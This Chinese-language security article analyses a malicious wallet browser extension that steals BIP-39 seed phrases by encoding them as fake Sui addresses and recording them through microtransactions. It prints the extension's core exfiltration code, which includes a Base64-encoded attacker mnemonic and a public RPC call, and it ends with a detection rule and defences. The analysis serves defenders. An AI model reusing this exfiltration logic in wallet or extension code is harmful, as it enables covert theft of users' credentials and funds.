摘要

本文深入探討了一個複雜的攻擊面,涉及一個偽裝成合法加密貨幣錢包的惡意瀏覽器擴充功能,旨在偷偷地將使用者的 BIP-39 助記詞(Seed Phrase)傳輸出去 (Exfiltration)。這次攻擊的主要創新在於它利用公共區塊鏈作為命令與控制(C2)和資料 Exfiltration 的管道。具體來說,這個擴充功能將受害者的助記詞編碼成人工的 Sui 樣式位址,並從一個 threat actor 控制的錢包向這些位址廣播微型交易。這種方法繞過了依賴偵測純文字資料傳輸或與已知惡意伺服器通訊的傳統網路監控和資安措施。本次分析包含對編碼機制、Exfiltration 過程以及負責竊取的核心邏輯程式碼片段的詳細檢視,同時討論了對軟體供應鏈資安和去中心化應用程式(dApp)錢包完整性的更廣泛影響。

駭客新招!用微型交易在 Sui 區塊鏈上偷走你的 Seed Phrase 分析 | 資訊安全新聞

1. 簡介

用於管理數位資產的瀏覽器擴充功能越來越普及,這在去中心化金融(DeFi)生態系統中引入了一個關鍵的攻擊面。惡意擴充功能,通常採用像輸入錯誤(typosquatting)或假裝成合法工具的技術,對使用者資安構成了重大威脅。最近發現了一個擴充功能 Safery: Ethereum Wallet ,它成功地透過利用一種非傳統的 Exfiltration 方法竊取了 seed phrases [1]。這種方法利用公共區塊鏈——特別是 Sui 網路——來傳輸被盜資料,代表了 threat actor 戰術的演進,擺脫了容易被偵測的 HTTP 式 C2 基礎設施。本研究文件側重於這種 Exfiltration 的技術機制,提供了程式碼邏輯和架構流程的詳細分析。

2. Exfiltration 機制的技術分析

惡意擴充功能的核心功能是兩階段程序:首先,將受害者的 seed phrase 編碼成與區塊鏈相容的格式;其次,透過微型交易隱蔽地傳輸這些編碼後的資料。這種技術特別陰險,因為它將資料竊取隱藏在看似良性的區塊鏈活動中。

2.1. Seed Phrase 編碼

這次攻擊依賴於將 12 或 24 個單字的 BIP-39 助記詞轉換成一個或兩個 Sui 樣式的人工十六進位位址 [1]。該程序涉及將助記詞中的每個單字對應到其在標準 BIP-39 單字清單中的相應索引。然後將這些索引打包成一個十六進位字串,填充到 64 個 character 的主體,並加上 0x 的前綴,使其看起來像一個有效的 Sui 位址。這個程序確保了產生的字串是 Sui 網路上一個有效的接收方位址,從而允許它用於交易中。threat actor 使用一個配對的解碼器,執行反向程序,從接收方位址重建原始的助記詞。

2.2. 透過 Sui 交易進行隱蔽 Exfiltration

Exfiltration 在使用者建立或匯入錢包後立即被觸發。該擴充功能使用 hardcoded 的 threat actor 助記詞來簽署和廣播 Sui 交易。這些交易的接收方是編碼了受害者 seed phrase 的人工位址。交易金額是極小的 0.000001 SUI,僅足夠滿足網路要求並將交易記錄在公共帳本上 [1]。

以下程式碼片段摘自原始分析,展示了負責這次隱蔽操作的核心邏輯。threat actor 的助記詞經過 Base64 編碼,以進一步模糊其在擴充功能原始碼中的目的。

  1. // Core logic for seed phrase exfiltration
  2. // After the user enters a valid seed phrase in the login form
  3. const { address, privateKeyHex } = await generateEthFromMnemonic(inputText);
  4. try {
  5.   const list = await loadWordlist();
  6.   // Encode the victim's mnemonic as one or two synthetic Sui-style addresses
  7.   const addrs = phraseToSuiAddressLike(inputText.split(" "), list);
  8.   for (const addr of addrs) {
  9.     if (typeof sendSui === "function") {
  10.       // Send a tiny SUI payment from a hardcoded threat actor mnemonic
  11.       const out = await sendSui({
  12.         mnemonic: fromBase64("c2Vuc2UgY29sbGVjdCBwdWxwIGZsb2F0IG5ldXRyYWwgYnJ1c2ggaG9zcGl0YWwgcHlyYW1pZCBjb2luIHNoaWVsZCB1c2UgYXRvbQ=="),
  13. // Decodes to: "sense collect pulp float neutral brush hospital pyramid coin shield use atom"
  14.         to: addr,                      // Recipient encodes the victim's mnemonic
  15.         amountSui: "0.000001",         // Minimal transaction amount to record data
  16.         rpcUrl: "https://sui-rpc.publicnode.com", // Public RPC endpoint
  17.         gasBudgetMist: "1000000"
  18.       });
  19.       console.log("Sent to", addr, out);
  20.     }
  21.   }
  22.   // Log in only after the hidden Sui transactions complete
  23.   window.logInWallet({ name: "", address, privateKey: privateKeyHex, mnemonic: inputText });
  24. } catch (err) {
  25.   console.error(err);
  26. }

使用公共 RPC 端點( https://sui-rpc.publicnode.com )和最小交易金額是隱匿機制的關鍵要素。該交易看起來像是一個正常的、低價值的轉帳給任意位址,使得自動化資安工具難以單純根據網路流量將其標記為 malicious 。threat actor 只需監控源自其 hardcoded 錢包的 Sui 區塊鏈交易,並解碼接收方位址以還原 seed phrases

2.3. 攻擊的架構流程

攻擊架構設計簡單且具有彈性,無需傳統的 C2 伺服器。流程可以視覺化如下:

graph TD             A[Victim Enters Seed Phrase] --> B{Extension Logic};             B --> C[Encode Mnemonic to Synthetic Sui Address];             C --> D[Hardcoded Threat Actor Mnemonic];             D --> E[Sign and Broadcast Sui Microtransaction];             E --> F[Sui Public RPC Node];             F --> G[Sui Blockchain Ledger];             G --> H[Threat Actor Monitors Ledger];             H --> I[Decode Recipient Address to Recover Mnemonic];             I --> J[Wallet Takeover];             E --> K[Victim Wallet Login];             style E fill:#f9f,stroke:#333,stroke-width:2px             style C fill:#f9f,stroke:#333,stroke-width:2px

Figure 1: Architectural Flow of Seed Phrase Exfiltration via Blockchain Transaction

3. 對軟體供應鏈資安的影響

這次攻擊突顯了軟體供應鏈中的一個重大漏洞,特別是關於第三方瀏覽器擴充功能。該擴充功能能夠以合法錢包的面貌運作,以及它使用一種新穎的 Exfiltration 管道,凸顯了加強資安措施的必要性。對 malicious VSCode 擴充功能的分析揭示了用於規避偵測和確保持久性的多階段感染和模糊處理的相似模式 [2]。這些相似之處表明了 threat actor 利用對開發和公用工具的信任來危害敏感資料的更廣泛趨勢。

對 threat actor 助記詞使用 Base64 編碼是一種簡單而有效的模糊處理技術。此外,該擴充功能依賴公共區塊鏈進行 C2 和 Exfiltration,使其具有高度的可移植性和鏈無關性。正如原始報告中指出的,這種技術可以很容易地適用於其他鏈,如 Solana 或各種 EVM 鏈,使得基於網域或 URL 的偵測無效 [1]。

對於防禦者來說,挑戰在於超越簡單的網路流量分析。資安解決方案必須納入對擴充功能程式碼更深入的靜態分析動態分析,以偵測像 phraseToSuiAddressLike 這樣的函數和非原生區塊鏈網路的意外 RPC 呼叫。惡意擴充功能從一個 hardcoded key 靜默發送交易的行為,即使是極小的金額,也是一個高訊號的危害指標,應該被資安工具標記。

4. 緩解與防禦策略

為了應對這種不斷變化的威脅,多層次的防禦策略至關重要。應該教育使用者只從經過驗證的發布者頁面安裝錢包擴充功能,並對任何意外的區塊鏈活動保持高度懷疑。對於開發者和資安研究人員來說,重點應該放在主動的程式碼分析上。

以下是一個概念性的設定片段,可用於資安監控系統中,用於標記解碼後為助記詞 phrase 的可疑 Base64 編碼字串,這是此類攻擊中的常見模式。

// Conceptual Security Configuration Snippet for Mnemonic Detection
// This configuration is designed to flag Base64 strings that, when decoded,
// contain a sequence of words matching the BIP-39 wordlist pattern.

{
           "rule_name": "Suspicious_Base64_Mnemonic_Encoding",
           "description": "Detects hardcoded Base64 strings that decode to a BIP-39 mnemonic.",
           "severity": "CRITICAL",
           "targets": ["*.js", "*.ts", "*.json"],
           "patterns": [
           {
           "type": "regex",
           "pattern": "fromBase64\\(\"[a-zA-Z0-9+/=]+\"\\)",
           "action": "DECODE_AND_CHECK"
           }
           ],
           "decode_check": {
           "encoding": "base64",
           "wordlist_match": "BIP-39",
           "min_word_count": 12,
           "max_word_count": 24
           },
           "comment": "The hardcoded string 'c2Vuc2UgY29sbGVjdCBwdWxwIGZsb2F0IG5ldXRyYWwgYnJ1c2ggaG9zcGl0YWwgcHlyYW1pZCBjb2luIHNoaWVsZCB1c2UgYXRvbQ==' decodes to a 12-word mnemonic, which is a strong indicator of a threat actor's key."
}

此外,偵測到對非原生鏈的意外 RPC 呼叫(例如,一個假定的 Ethereum 錢包對 Sui RPC 端點進行呼叫)應該是一個高優先級警報。在一個僅限 Ethereum 的錢包中,不應出現 sendSui 函數,這是明顯的技術異常。

5. 結論

本報告分析的惡意瀏覽器擴充功能展示了一種複雜且隱匿的 seed phrase Exfiltration 方法。透過利用 Sui 區塊鏈作為隱蔽的 C2 和資料管道,threat actor 有效地規避了傳統的資安監控。對編碼機制和核心 Exfiltration 邏輯的技術分析 為資安社群提供了寶貴的見解。隨著 threat actor 不斷創新,防禦策略必須演進,以納入更深入的程式碼分析和異常偵測,特別是專注於意外的跨鏈互動和應用程式碼中模糊處理的敏感資料。